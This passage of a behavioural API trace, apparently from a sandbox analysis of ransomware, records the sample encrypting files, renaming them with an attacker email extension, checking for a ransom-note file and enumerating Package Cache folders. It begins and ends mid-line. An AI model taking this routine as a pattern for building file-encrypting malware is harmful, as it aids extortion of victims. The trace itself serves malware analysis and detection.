(lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0174.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054df8) returned 1 [0174.665] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.666] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x3013170 [0174.666] wcscpy (in: _Dest=0x3013170, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0174.666] wcscat (in: _Dest=0x3013170, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0174.666] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0174.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013170) returned 1 [0174.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91f50) returned 1 [0174.666] RtlExitUserThread (Status=0x1) Thread: id = 2235 os_tid = 0x13d4 [0174.667] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.668] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.669] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.669] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x1cd7fb04 | out: lpFileSize=0x1cd7fb04*=12480) returned 1 [0174.669] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x30bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.669] ReadFile (in: hFile=0x840, lpBuffer=0x1cd7fad8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x1cd7fad8*, lpNumberOfBytesRead=0x1cd7fad4*=0x4, lpOverlapped=0x0) returned 1 [0174.670] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0174.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0174.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054208 [0174.670] NtQuerySystemTime (in: CurrentTime=0x1cd7fab0 | out: CurrentTime=0x1cd7fab0*=132121213319826859) returned 0x0 [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xe052633a [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x89d1ef6f [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xa01a2e37 [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x3852f663 [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xf8395c5b [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x16f9b08d [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x1286cf11 [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x350a43ee [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xf61d3b8 [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xbe1d147a [0174.670] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xca81e08a [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xdd88870a [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x59664f4a [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x77fb8d74 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x8868767 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xea2b1699 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xbaeb7db7 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xff717391 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xf30a392 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x52b5fb7b [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xeccc5371 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xf1a3a252 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x4d342e71 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x48f163bf [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x9a7569d [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x51db1ae9 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x22c5f8f0 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0xb89703d5 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x98290632 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x5ff038c1 [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x5a3caaba [0174.671] RtlRandom (in: Seed=0x1cd7fabc | out: Seed=0x1cd7fabc) returned 0x9a489d29 [0174.682] ReadFile (in: hFile=0x840, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x30c0, lpNumberOfBytesRead=0x1cd7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x1cd7fab0*=0x30c0, lpOverlapped=0x0) returned 1 [0174.683] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1cd7fa78 | out: lpNewFilePointer=0x0) returned 1 [0174.683] WriteFile (in: hFile=0x840, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x1cd7faac, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x1cd7faac*=0x30c0, lpOverlapped=0x0) returned 1 [0174.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0174.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.683] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.683] WriteFile (in: hFile=0x840, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cd7faa8, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x1cd7faa8*=0x20, lpOverlapped=0x0) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x1cd7fad4*=0x8, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x1cd7faec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x1cd7faec*, lpNumberOfBytesWritten=0x1cd7fad4*=0x4, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1cd7fad4*=0x4, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1cd7fad4*=0x6c, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x1cd7fad4*=0x20, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x840, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cd7fad4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1cd7fad4*=0x4, lpOverlapped=0x0) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0174.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0174.684] CloseHandle (hObject=0x840) returned 1 [0174.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x3054df8 [0174.685] wcscpy (in: _Dest=0x3054df8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0174.685] wcscat (in: _Dest=0x3054df8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.685] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.685] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0174.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054df8) returned 1 [0174.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x3013170 [0174.686] wcscpy (in: _Dest=0x3013170, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0174.686] wcscat (in: _Dest=0x3013170, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0174.686] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0174.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013170) returned 1 [0174.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92000) returned 1 [0174.686] RtlExitUserThread (Status=0x1) Thread: id = 2236 os_tid = 0x13d8 [0174.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x3054540 [0174.687] wcscpy (in: _Dest=0x3054540, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0174.687] wcscat (in: _Dest=0x3054540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\" [0174.687] wcscat (in: _Dest=0x3054540, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*" [0174.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.687] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.688] wcscmp (_String1=".", _String2=".") returned 0 [0174.688] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.688] wcscmp (_String1="..", _String2=".") returned 1 [0174.688] wcscmp (_String1="..", _String2="..") returned 0 [0174.688] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.688] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.688] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.688] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.688] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0174.688] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0174.688] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.688] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054540) returned 1 [0174.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054350) returned 1 [0174.688] RtlExitUserThread (Status=0x0) Thread: id = 2237 os_tid = 0x13dc [0174.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4850 [0174.689] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0174.689] wcscat (in: _Dest=0x2fc4850, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\" [0174.689] wcscat (in: _Dest=0x2fc4850, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*" [0174.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.690] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.690] wcscmp (_String1=".", _String2=".") returned 0 [0174.690] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.690] wcscmp (_String1="..", _String2=".") returned 1 [0174.690] wcscmp (_String1="..", _String2="..") returned 0 [0174.690] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.690] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.690] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.690] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.690] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0174.690] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0174.690] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.690] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0174.690] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0174.690] RtlExitUserThread (Status=0x0) Thread: id = 2238 os_tid = 0x13e0 [0174.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x3054350 [0174.692] wcscpy (in: _Dest=0x3054350, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0174.692] wcscat (in: _Dest=0x3054350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\" [0174.692] wcscat (in: _Dest=0x3054350, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*" [0174.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.692] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.692] wcscmp (_String1=".", _String2=".") returned 0 [0174.692] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.692] wcscmp (_String1="..", _String2=".") returned 1 [0174.692] wcscmp (_String1="..", _String2="..") returned 0 [0174.692] FindNextFileW (in: hFindFile=0x3045528, 